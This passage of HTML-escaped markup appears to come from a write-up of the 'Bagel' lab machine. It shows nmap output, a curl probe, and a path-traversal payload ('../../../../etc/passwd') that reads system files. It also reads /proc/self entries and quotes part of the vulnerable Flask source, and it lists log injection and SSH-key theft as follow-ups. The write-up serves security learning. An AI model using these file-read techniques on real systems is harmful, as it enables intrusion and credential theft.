&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">34&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Help&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">44&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">RTSPRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">54&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">version&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">SSLSessionReq&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">TerminalServerCookie&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">45&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">TLSSessionReq&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Werkzeug&lt;/span> &lt;span class="n">httpd&lt;/span> &lt;span class="mf">2.2.2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Python&lt;/span> &lt;span class="mf">3.10.9&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OPTIONS&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Did&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">follow&lt;/span> &lt;span class="n">redirect&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bagel.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">index.html&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-8000">Port 8000
&lt;/h3>&lt;p>Nmap scan shows this port running a werkzeug server. To get the domain name, i did a curl request, and added it to &lt;code>/etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">v&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Trying&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">8000.&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Connected&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Host&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">curl&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">8.6.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Accept&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">*/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">302&lt;/span> &lt;span class="n">FOUND&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">15&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">14&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">charset&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">utf&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">263&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Location&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bagel.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">index.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">echo&lt;/span> &lt;span class="s1">&amp;#39;10.10.11.201 bagel.htb&amp;#39;&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="n">tee&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">etc&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hosts&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now opening on browser, it redirects to &lt;code>http://bagel.htb:8000/?page=index.html&lt;/code>. Now as soon as i see the
&lt;code>page&lt;/code> parameter, I immediately try for LFI(Local File Inclusion) to read &lt;code>/etc/passwd&lt;/code> file. I got it by using &lt;code>page=../../../../etc/passwd&lt;/code>.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi.png"
width="2162"
height="870"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi_hua6771fb79e98d97fa2f8fe522149856f_397342_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi_hua6771fb79e98d97fa2f8fe522149856f_397342_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="248"
data-flex-basis="596px"
>&lt;/p>
&lt;p>Looking at it, we see two users, &lt;code>phil&lt;/code> and &lt;code>developer&lt;/code>. Now time for extracting information. Anytime with an LFI, we can either&lt;/p>
&lt;ol>
&lt;li>try to get RCE via methods like log injection&lt;/li>
&lt;li>try to read user&amp;rsquo;s id_rsa file, or&lt;/li>
&lt;li>try to read process env, process related commands executed.&lt;/li>
&lt;/ol>
&lt;p>For this box, the first two options were dead end. Now for the third, first I read &lt;code>/proc/self/environ&lt;/code> file.
&lt;div class="notice notice-info">
===> The &lt;span style="color: #d461e8">/proc/self/environ&lt;/span> file in a Unix-like operating system contains the environment variables for the current process. - ChatGPT
&lt;/div>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-env" data-lang="env">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">LANG&lt;/span>&lt;span class="o">=&lt;/span>en_US.UTF-8�PATH&lt;span class="o">=&lt;/span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin�HOME&lt;span class="o">=&lt;/span>/home/developer�LOGNAME&lt;span class="o">=&lt;/span>developer�USER&lt;span class="o">=&lt;/span>developer�SHELL&lt;span class="o">=&lt;/span>/bin/bash�INVOCATION_ID&lt;span class="o">=&lt;/span>eb44fe42161641c2b1239494b788bb59�JOURNAL_STREAM&lt;span class="o">=&lt;/span>8:25511�SYSTEMD_EXEC_PID&lt;span class="o">=&lt;/span>894�
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This shows our current user is &lt;code>developer&lt;/code>.
Similarly, &lt;code>/proc/self/cmdline&lt;/code>, will hold the current process commands run.
This file had the content = &lt;code>python3/home/developer/app/app.py&lt;/code>. So reading this file now gave me the app&amp;rsquo;s starting code,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">send_file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os.path&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">websocket&lt;/span>&lt;span class="o">,&lt;/span>&lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;page&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">page&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;static/&amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;page&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isfile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">send_file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">direct_passthrough&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getsize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
